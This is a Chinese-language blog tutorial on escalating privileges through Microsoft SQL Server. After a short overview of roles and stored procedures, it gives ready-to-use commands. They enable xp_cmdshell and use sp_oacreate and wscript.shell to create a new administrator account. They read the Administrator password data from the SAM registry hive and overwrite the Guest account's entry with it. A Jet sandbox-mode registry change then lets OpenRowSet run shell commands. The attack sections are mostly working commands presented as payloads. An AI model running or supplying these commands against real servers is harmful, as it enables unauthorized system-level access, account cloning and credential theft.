SqlServer常见攻击手法

一些基础:

Mssql是什么:

mssql的英文全称是Microsoft SQL Server,一般简称MS-SQL或SQL Server;它是指微软的SQLServer数据库服务器,是一个关系型数据库管理系统。

mssql的用户权限
Mssql数据库是可以选择以windows用户密码进行登录的
在这里插入图片描述
数据库角色的成员可以分为如下几类:

Windows用户组或用户账户
SQL Server登录
其他角色

说 明
sysadmin 执行SQL Server中的任何动作
serveradmin 配置服务器设置
setupadmin 安装复制和管理扩展过程
securityadmin 管理登录和CREATE DATABASE的权限以及阅读审计
processadmin 管理SQL Server进程
dbcreator 创建和修改数据库diskadmin 管理磁盘文件

Sa用户

sa用户是系统管理员的登录。Sa用户具有所有可能的关于系统管理工作的权限。在SQL Server 2005中,sa登录保持了向后兼容性。sa登录永远是固定服务器角色syadmin中的成员,并且不能从该角色中删除。

Mssql端口:1433
储存过程:
存储过程 Procedure 是一组为了完成特定功能的 SQL 语句集合,经编译后存储在数据库中,用户通过指定存储过程的名称并给出参数来执行。
存储过程中可以包含逻辑控制语句和数据操纵语句,它可以接受参数、输出参数、返回单个或多个结果集以及返回值。

Sqlserver的提权主要依赖其的储存过程

储存过程主要分为三类:
1系统存储过程主要存储在master数据库中,以sp_为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;
2扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以xp_为前缀,使用方法与系统存储过程类似;
3用户定义的存储过程是SQLServer的使用者编写的存储过程。

Sqlserver的权限:
Sqlserver在windows服务中的权限是不小的,在Windows server类的操作系统上,默认具有system权限,所以我们才会通过Sqlserver执行命令,来进行提权操作

xp_cmd提权:

xp_cmdshell
它是可以用来执行系统命令的,但该组件默认是关闭的。因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它
Exec:执行存储过程:如 EXEC SP_XXX
Econfigure:更新保存配置
sp_configure储存过程可显示或更改当前服务器的全局配置设置

开启xp_cmd扩展功能:
use master;
exec sp_configure ‘show advanced options’,1;
reconfigure;
exec sp_configure ‘xp_cmdshell’,1;
reconfigure;

在这里插入图片描述
在这里插入图片描述

如果xp_cmdshell被删除,上传xplog70.dll可恢复:
exec master.sys.sp_addextendedproc ‘xp_cmdshell’, C:\xxxx\xplog70.dll

sp_oacreate提权:

spoacreate是一个非常危险的存储过程可以删除、复制、移动文件 还能配合spoamethod 来写文件执行cmd,在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权

启用sp_oacreate:
EXEC sp_configure ‘show advanced options’, 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure ‘Ole Automation Procedures’, 1;
RECONFIGURE WITH OVERRIDE;

在这里插入图片描述

执行命令:
declare @shell int;
exec sp_oacreate ‘wscript.shell’,@shell output;
exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c net user test test /add’;
exec sp_oamethod @shell,‘run’,null,‘c:\windows\system32\cmd.exe /c net localgroup administrators test /add’

在这里插入图片描述
在这里插入图片描述

xp_regread 与 xp_regwrite提权:

xp_regread 与 xp_regwrite是可以直接访问我们的注册表的,(注册表是windows系统中的一个重要的数据库“注册表即Registry是Windows系统中的一个重要的数据库,用于存储系统和应用程序的设置信息;其中存放着各种参数,直接控制着windows的启动、硬件驱动程序的装载以及一些windows应用程序的运行,从而在整个系统中起着核心作用。 )这样的话我们就可以通过修改注册表,来对目标机器的账户进行克隆。

Administrator密码:
在这里插入图片描述
获取administrator的加密密码:
xp_regread ‘HKEY_LOCAL_MACHINE’,‘SAM\SAM\Domains\Account\Users\000001F4’,‘F’;

在这里插入图片描述
将administrator用户的配置给gu覆盖到guest账号: xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SAM\SAM\Domains\Account\Users\000001F5’,‘F’,‘reg_binary’,0x02000100000000007534DD020BBBD00100000000000000008F0DDDB07DD3D80100000000000000000000000000000000F401000001020000110200000000000000000100010000000000000000000000;

在这里插入图片描述

沙盒提权:

1,access可以调用VBS的函数,以System权限执行任意命令
2,Access执行这个命令是有条件的,需要一个开关被打开
3,这个开关在注册表里
4,SA是有权限写注册表的
5,用SA写注册表的权限打开那个开关
6,调用Access里的执行命令方法,以system权限执行任意命令执行SQL命令,执行了以下命令

Payload:
激活沙盒模式1:
exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;–

激活沙盒模式2:
exec master…xp_regwrite ‘HKEY_LOCAL_MACHINE’,‘SOFTWARE\Wow6432Node\Microsoft\Jet\4.0\Engines’,‘SandBoxMode’,‘REG_DWORD’,0;

执行命令:
select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0’,‘;Database=c:\windows\system32\ias\ias.mdb’,‘select shell(“net user >c:\1.txt ")');

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值